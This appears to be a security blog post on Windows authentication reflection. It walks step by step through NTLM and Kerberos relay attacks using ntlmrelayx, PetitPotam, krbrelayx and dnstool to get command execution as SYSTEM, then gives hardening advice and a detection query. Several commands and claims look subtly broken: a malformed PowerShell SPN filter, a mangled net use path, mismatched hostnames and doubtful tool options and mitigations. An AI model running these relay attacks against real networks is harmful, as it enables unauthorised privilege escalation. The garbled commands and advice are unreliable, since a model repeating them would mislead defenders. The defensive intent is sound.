Listen to this Post
Introduction
For over two decades, Windows authentication reflection has allowed attackers to coerce a machine into authenticating to its own services, granting the attacker the privileges of the coerced account (typically NT AUTHORITY\SYSTEM). Despite multiple security patches across the years—such as MS08‑068, MS09‑13, and MS15‑076—new implementation behaviors, protocol inconsistencies, and overlooked coercion vectors have reintroduced local and remote privilege‑escalation vulnerabilities that were believed to be extinct.
Learning Objectives
- Understand the core mechanism of authentication reflection and why it remains a potent threat in modern Windows environments.
- Identify real‑world attack vectors, including the CredMarshalTargetInfo (CMTI) trick, Ghost SPNs, and SMB arbitrary‑port features.
- Execute step‑by‑step exploitation demonstrations using Impacket, PetitPotam, and custom PoC code.
- Apply effective detection and hardening measures to prevent reflection attacks against your organization’s Windows infrastructure.
You Should Know
1. CredMarshalTargetInfo (CMTI) Trick – Abusing SPN Metadata
Authentication reflection requires tricking Windows into sending an authentication attempt back to itself. The CMTI trick achieves this by appending a specially crafted base‑64 structure to the target name during authentication coercion. LSASS sanitizes the target name but retains the crucial fact that the authentication originated from the local host, effectively allowing a low‑privileged user to coerce a SYSTEM‑level service (such as LSASS) into authenticating to an attacker‑controlled server.
Step‑by‑Step Exploitation Using Impacket & PetitPotam
The following demonstration assumes a Windows Server 2022/2025 environment with SMB signing not enforced, and an attacker who already has domain user credentials (ASGARD\user). It forces the target machine (WS2025-SRV) to authenticate to the attacker’s machine and then relays that authentication back to the same target to obtain a SYSTEM shell.
Attacker machine (Linux) – open three terminals.
1. Terminal 1 – Start ntlmrelayx:
python3 ntlmrelayx.py -t smb://WS2025-SRV.ASGARD.LOCAL -smb2support -c "whoami"
This relay server listens for incoming NTLM authentication attempts and relays them to the SMB service of the target, executing `whoami` (or any other command) upon successful authentication.
2. Terminal 2 – Start an SMB listener:
sudo python3 smbserver.py -smb2support share /tmp/share
This creates a temporary SMB share that will be used to receive the coerced authentication.
3. Terminal 3 – Coerce authentication using PetitPotam:
python3 PetitPotam.py -u user -p P@ssw0rd -d ASGARD.LOCAL 10.0.0.10 WS2025-SRV.ASGARD.LOCAL
(Replace `10.0.0.10` with the attacker’s IP address.) PetitPotam uses the EfsRpcOpenFileRaw method over the EFSRPC named pipe to force the target machine’s LSASS service to authenticate to the attacker’s SMB server.
If everything works, you will see in Terminal 1:
[+] Authenticating against smb://WS2025-SRV.ASGARD.LOCAL as ASGARD/WS2025-SRV$ SUCCEED [] Executed whoami on target: nt authority\system
Defenders can detect this attack by monitoring for unusual `EfsRpcOpenFileRaw` calls from non‑administrative users, as well as any SMB connections to external IP addresses originating from privileged processes (especially LSASS). Enforcing SMB signing on all domain‑joined systems and setting the Network Security: Restrict NTLM: Incoming NTLM Traffic policy to “Deny all domain accounts” will block this specific vector.
2. Ghost SPNs – Exploiting Kerberos Reflection
Kerberos lacks a universal reflection‑detection mechanism, making it an attractive target. Ghost SPNs are Service Principal Names that reference hostnames that are not (or no longer) resolvable via DNS. When a Ghost SPN is present for the target machine’s `HOST/` or `CIFS/` service, an attacker can register a new DNS record pointing to his own IP address, coerce the victim to authenticate, and then reflect that Kerberos ticket back to the victim’s SMB service. The result is an SMB session with `NT AUTHORITY\SYSTEM` privileges.
Step‑by‑Step Exploitation using krbrelayx
Prerequisites:
- Domain user credentials.
- A domain‑joined Windows target where SMB signing is not enforced.
- A Ghost SPN for the target (for example, a stale SPN `HOST/oldname.domain.local` that is still attached to the target’s computer object).
Attacker machine:
1. Register a malicious DNS record:
dnstool.py -u ASGARD.LOCAL\user -p P@ssw0rd -a add -r oldname.domain.local -d 10.0.0.10 192.168.1.10
(This assumes the attacker has a shell on a machine that can talk to the DNS server.)
2. Start krbrelayx to listen for Kerberos tickets:
python3 krbrelayx.py -t smb://WS2025-SRV.ASGARD.LOCAL -c "whoami"
- Coerce authentication using a DCERPC call that forces the target to authenticate to the attacker’s machine using the Ghost SPN. For example, using PetitPotam with the –spn parameter:
python3 PetitPotam.py -u user -p P@ssw0rd -d ASGARD.LOCAL --spn oldname.domain.local 10.0.0.10 WS2025-SRV.ASGARD.LOCAL
-
krbrelayx captures the Kerberos ticket, modifies the service ticket, and sends it back to the target’s SMB service. The output confirms SYSTEM privileges.
Detection & Hardening:
- Regularly audit and clean up stale SPNs in Active Directory (
Get-ADObject -LDAPFilter "(servicePrincipalName=)" | Where-Object {$_.DNSHostName -ne $null -and (Resolve-DnsName $_.DNSHostName -ErrorAction SilentlyContinue) -eq $null}). - Enforce SMB signing on all clients and servers (set `RequireSecuritySignature = 1` in the registry or via Group Policy).
- Set the Kerberos policy “Support for Kerberos armoring” to “Always provide” and configure “KDC support for claims, compound authentication, and Kerberos armoring” to “Enabled”.
- SMB Arbitrary Port Feature – NTLM Reflection in Windows Server 2025
Windows Server 2025 and Windows 11 24H2 introduced the ability to mount SMB shares on arbitrary TCP ports (net use \\host\share /tcpport:PORT). This seemingly benign feature, combined with SMB session multiplexing, re‑enables a classic local NTLM reflection attack: a low‑privileged user can coerce LSASS (running as SYSTEM) to authenticate to an attacker‑controlled SMB server on a non‑standard port, and then relay that NTLM authentication back to the real SMB service on port 445, gaining a SYSTEM shell.
Step‑by‑Step Exploitation (CVE‑2026‑24294)
Requirements:
- Windows Server 2025 (default configuration).
- Python 3 with Impacket.
- Modified PetitPotam (compiled with Visual Studio).
Attacker machine (three terminals):
- Terminal 1 – Start ntlmrelayx on a raw port:
python3 ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
This relay server listens on raw port 6666 and will relay any NTLM authentication it receives to the local SMB service (port 445).
-
Terminal 2 – Start a modified smbserver that forwards NTLM to port 6666:
python3 smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
This creates an SMB server on port 12345 that captures the NTLM authentication and relays it to ntlmrelayx on port 6666.
3. Terminal 3 – Run the exploit:
net use \127.0.0.1\test /tcpport:12345 /user:user user PetitPotam.exe 127.0.0.1 localhost 2
The `net use` command establishes a persistent TCP connection on port 12345. Then PetitPotam coerces LSASS to authenticate to \\127.0.0.1\test. The SMB client reuses the existing TCP connection (session multiplexing), the modified smbserver captures the privileged NTLM blob, and ntlmrelayx relays it to the real SMB service on port 445. The output shows NT AUTHORITY\SYSTEM.
Mitigation:
- Enforce SMB signing on all clients and servers (Windows 11 24H2 does this by default, but Server 2025 does not).
- Apply the security update for CVE‑2026‑24294 as soon as it becomes available.
- Monitor for suspicious `net use` commands that specify `/tcpport` with low‑numbered ports or ports above 1024 that are not typically used by SMB.
4. Mitigation Checklist for Defenders
Active Directory Hardening
- Enforce Kerberos armoring (
msDS-SupportedEncryptionTypesand GPO “Support for Kerberos armoring”). - Regularly enumerate and remove stale SPNs (using PowerShell or LDAP queries).
- Set the “Network Security: Restrict NTLM: Incoming NTLM traffic” policy to “Deny all domain accounts”.
- Disable unconstrained delegation on all computers unless absolutely required.
Windows Host Hardening
- Enforce SMB signing on all Windows hosts (Group Policy: “Microsoft network server: Digitally sign communications (always)” = Enabled).
- Apply all relevant security updates, especially those for CVE‑2025‑33073, CVE‑2025‑58726, and CVE‑2026‑24294.
- Use Windows Defender Credential Guard to protect LSASS.
- Monitor Event IDs 4624, 4625, and 4648 for anomalous network logons, especially those with `Network` logon type and
Authentication Package: NTLM.
Detection Queries (KQL for Microsoft Sentinel / Defender)
SecurityEvent | where EventID in (4624, 4648) | where LogonProcessName == "NtLmSsp" | where TargetUserName contains "$" (machine account authentication) | where IpAddress != "127.0.0.1" | where ProcessName contains "lsass.exe" | project TimeGenerated, Computer, TargetUserName, IpAddress, ProcessName
What Undercode Say
- Reflection is a persistent class vulnerability that has resurfaced multiple times over two decades. Each new Windows feature or protocol tweak has the potential to reintroduce reflection paths, as seen with the SMB arbitrary port feature and the CMTI trick. Defenders cannot rely solely on legacy mitigations.
- Kerberos reflection is particularly dangerous because it is often overlooked. While NTLM reflection received much attention after MS08‑068, the lack of a universal reflection‑detection mechanism in Kerberos means that many administrators mistakenly believe that “Kerberos is secure by default.” Real‑world exploitation proves otherwise.
- Proactive hardening is the only reliable defense. Because these vulnerabilities are logical flaws in authentication protocols, waiting for patches is insufficient. Enforcing SMB signing, cleaning up SPNs, and restricting NTLM usage are the most effective countermeasures. Additionally, adopting Windows Defender Credential Guard and enforcing Kerberos armoring adds layers that make reflection attacks much harder to execute.
- Continuous monitoring and threat hunting are essential. The artifacts of reflection attacks (e.g., LSASS authenticating to an unusual IP address, EfsRpcOpenFileRaw calls from non‑administrative users, `net use` with
/tcpport) can be detected if the right telemetry is collected. Organizations should build custom detection rules based on the behavior patterns described in this article.
Prediction
Authentication reflection attacks will continue to evolve as Windows introduces new protocols, features, and performance optimizations that inadvertently break existing reflection protections. The recent discoveries of CVE‑2025‑33073, CVE‑2025‑58726, and CVE‑2026‑24294 are not the end of this story; rather, they signal a pattern of “whack‑a‑mole” patching that does not address the underlying architectural design flaw. In the next two to three years, expect to see reflection attacks target emerging features such as SMB over QUIC, WebDAV enhancements, and cloud‑integrated authentication flows. Microsoft will eventually need to implement a fundamental, cross‑protocol reflection‑detection mechanism inside LSASS that works for both NTLM and Kerberos simultaneously. Until then, defenders must assume that any local or network authentication can be reflected and build their security posture accordingly—with SMB signing, NTLM restriction, and continuous monitoring as non‑negotiable baseline controls.
▶️ Related Video (88% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
